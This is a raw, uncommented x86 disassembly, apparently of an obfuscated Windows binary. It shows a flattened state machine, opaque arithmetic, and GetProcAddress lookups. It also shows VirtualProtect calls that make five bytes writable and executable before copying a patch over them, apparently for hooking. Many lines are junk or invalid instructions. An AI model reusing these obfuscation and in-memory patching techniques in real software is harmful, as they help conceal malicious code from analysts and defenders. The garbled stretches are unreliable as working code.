mov ecx, 0xb84f37aa
xor edx, edx
div ecx
mov edi, eax
mov eax, dword [esi + 0x54]
and edi, 0x81806783
sub edi, 0x18533d39
or edi, 0x42605126
mov ecx, 0x8386f776
mov edx, 0x53e2840a
cmp edi, 0x4348ea5f
cmova ecx, edx
mov dword [eax], ecx
jmp 0x1012d654
mov eax, dword [esi + 0x54]
mov ecx, dword [esi + 0x38]
mov edi, 0x11daf7f5
sub esp, esi
mov ch, 0x4a
test dword [eax - 0x13], eax
imul ecx, dword [ecx], 0xeae873fc
and byte [ecx - 0x4a], 0x84
pop es
push 0xffffffffffffffba
mov ecx, dword [ecx]
mov edx, dword [0x1022d0a4]
mov dword [ecx], edx
mov dl, byte [0x1022d0a8]
mov byte [ecx + 4], dl
mov ecx, 0x8b2c8d3e
mov edx, 0x8386f776
cmp edi, 0x9f9758ff
cmovae ecx, edx
mov dword [eax], ecx
jmp 0x1012d654
mov eax, dword [esi + 0x54]
mov dword [eax], 0xf00893cb
jmp 0x1012d654
mov eax, dword [0x1022913c]
xor eax, dword [0x10229140]
imul eax, eax, 0xc499cc00
and eax, 0x45ab43a4
xor eax, 0xc842f4c5
or eax, 0x35351253
mov ecx, 0xa5d9a179
xor edx, edx
div ecx
mov ecx, eax
sub ecx, 0x85b72643
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xd774f387
or eax, edx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xd774f387
or ecx, edx
and eax, ecx
xor eax, 0xffffffff
mov ecx, 0x32a46e0b
xor edx, edx
div ecx
sub eax, 0xb8e4da7d
add eax, 0xa7b90fb6
add eax, 0xb8e4da7d
mov ecx, eax
and ecx, 0x629f27c5
xor eax, 0x629f27c5
or ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xa5d25035
or eax, edx
and ecx, 0xa5d25035
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
xor eax, 0x49297df9
mov edx, eax
xor edx, 0xffffffff
and edx, 0x3ec4b342
mov edi, 0xffffffff
xor edi, 0x3ec4b342
mov ecx, eax
and ecx, edi
imul ecx, edx
mov edx, eax
and edx, 0x3ec4b342
or eax, 0x3ec4b342
imul eax, edx
add eax, ecx
xor eax, 0xbeedfb59
xor eax, 0x1ef1afd
mov ecx, eax
and ecx, 0xcbbdad99
shl ecx, 1
xor eax, 0xcbbdad99
add eax, ecx
add eax, 0xf1aa0862
mov ecx, 0x3822551
xor edx, edx
div ecx
or eax, 0x35eba5f1
or eax, 0x4df3b16f
xor ecx, ecx
sub ecx, 0x89dace30
add eax, ecx
mov edi, 0xffffffff
xor edi, 0x606aee2e
mov edx, eax
and edx, edi
mov ecx, eax
or ecx, edi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x606aee2e
or eax, 0x606aee2e
imul eax, edx
add eax, ecx
add eax, 0x6a4e7032
add eax, 0x97d7708b
sub eax, 0x6a4e7032
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x10337ccc
add ecx, eax
xor eax, eax
sub eax, ecx
sub eax, 0x455df43e
and eax, 0xfecf498c
mov ecx, 0x73cc0e6a
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
or eax, eax
xor eax, 0xffffffff
mov edx, 0xbfc46194
or edx, 0xbfc46194
xor edx, 0xffffffff
xor eax, 0xffffffff
xor edx, 0xffffffff
and eax, edx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xbfc46194
and ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
sub eax, 0xff9cc8c3
sub eax, 0x5ea93101
add eax, 0xff9cc8c3
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xa02ef53d
mov edx, 0xffffffff
xor edx, 0xa02ef53d
and eax, edx
or ecx, eax
mov eax, ecx
and eax, 0x941ee07a
xor ecx, 0x941ee07a
or eax, ecx
imul eax, eax, 0x28682f3f
mov ecx, 0x308ed856
xor edx, edx
div ecx
mov ecx, 0x85f669db
xor edx, edx
div ecx
mov ecx, 0x68039cfc
xor edx, edx
div ecx
mov edi, eax
mov eax, dword [esi + 0x54]
mov ecx, 0x815f4680
mov edx, 0xeb832a09
cmp edi, 0x6ad904d2
cmovbe ecx, edx
mov dword [eax], ecx
jmp 0x1012d654
mov eax, dword [esi + 0x3c]
mov edx, dword [esi + 0x38]
mov edi, 0xc
and byte [edi + 0x7d3e2774], bl
arpl sp, sp
push edx
sub byte [edx + 0x7d], 0xd0
pop ebp
popal
dec esp
mov ecx, dword [eax]
mov edx, dword [edx]
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], 5
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [esi + 0x54]
mov ecx, 0x5a761087
mov edx, 0x815f4680
cmp edi, 0xe4fd1b39
cmova ecx, edx
mov dword [eax], ecx
jmp 0x1012d654
mov eax, dword [esi + 0x54]
mov dword [eax], 0x640ffaaa
jmp 0x1012d654
mov eax, dword [esi + 0x54]
in eax, 0xc2
mov ah, 0x73
add esi, 0x7f94af75
sub byte [esi], bl
push ds
xor al, 0x59
push 0x9ccba320
fld st(7)
add byte [ebp - 0x16f4ed0d], al
stosb byte es:[edi], al
add dword [eax], eax
add byte [ebx - 0x222dabba], cl
mov eax, dword [esi + 0x54]
rcr ch, cl
push ecx
invalid
mov eax, dword [esi + 0x54]
jb 0x1012d530
daa
mov ah, 0xef
invalid
mov eax, dword [esi + 0x54]
pop eax
out 0xdf, eax
add al, 0xe1
adc eax, 0x8268228b
push ds
mov dword [eax], 0xbac4b401
jmp 0x1012d654
mov ebx, dword [esi + 0x48]
dec eax
pop eax
jp 0x1012d4ad
and bl, byte [ecx - 0xde22ad3]
je 0x1012d496
xchg ebx, eax
sub al, 0xf
sub al, 0x25
scasd eax, dword es:[edi]
inc ebp
jns 0x1012d542
cli
loope 0x1012d532
push ebp
jecxz 0x1012d568
daa
sub dword [ebp - 0x416e0e51], esp
pop es
push eax
mov ecx, esp
push eax
mov eax, esp
push eax
loopne 0x1012d582
mov edx, esp
mov edi, edx
mov dword [esi + 8], edi
sub esp, 8
mov edi, esp
and edi, 0xfffffff8
mov dword [esi + 4], edi
jle 0x1012d548
mov esp, edi
mov edi, dword [esi + 0x4c]
dec esp
mov dword [ecx], ebx
mov dword [eax], edi
mov dword [edx], 0
mov ecx, dword [ecx]
mov dword [esi], ecx
mov ecx, dword [eax]
sub esp, 4
mov eax, esp
mov dword [eax], ecx
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
mov edx, dword [esi]
push ss
mov ecx, eax
sub esp, 8
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
mov ecx, dword [esi + 4]
mov edx, eax
mov eax, dword [esi + 8]
mov dword [ecx], edx
mov dword [ecx + 4], 0
inc esi
or byte [ecx + 0x441c711], cl
add byte [eax], al
add byte [eax], al
mov ecx, dword [ecx]
sub esp, 0x10
mov dword [esp], ecx
mov dword [esp + 4], 5
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
add bh, al
inc esp
and al, 8
inc eax
add byte [eax], al
add byte [ecx - 0xf3dbbc], cl
adc eax, sym.imp.KERNEL32.dll_VirtualProtect
mov eax, dword [esi + 0x54]
mov dword [eax], 0xb3111e31
jmp 0x1012d654
mov eax, dword [esi + 0x54]
mov ecx, dword [esi + 0x38]
mov byte [edi], cl
mov cl, 0x3a
pop ss
aas
cmp al, 0x5b
xor al, 0x27
push ss
jns 0x1012d59c
pop ebx
mov ch, 0x6e
cmp eax, 0xf4296891
mov ch, 0x4a
test dword [eax - 0x13], eax
imul ecx, dword [ecx], 0xeae873fc
and byte [ecx - 0x4a], 0x84
pop es
push 0xffffffffffffffba
mov ecx, dword [ecx]
mov edx, dword [0x1022d0a4]
mov dword [ecx], edx
mov dl, byte [0x1022d0a8]
mov byte [ecx + 4], dl
mov dword [eax], 0x53e2840a
jmp 0x1012d654
mov eax, dword [esi + 0x3c]
mov edx, dword [esi + 0x38]
pop ebp
sub dword [edx + 0x45], edx
jb 0x1012d643
iretd
and al, 0xc
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [esi + 0x54]
mov dword [eax], 0xeb832a09
jmp 0x1012aecf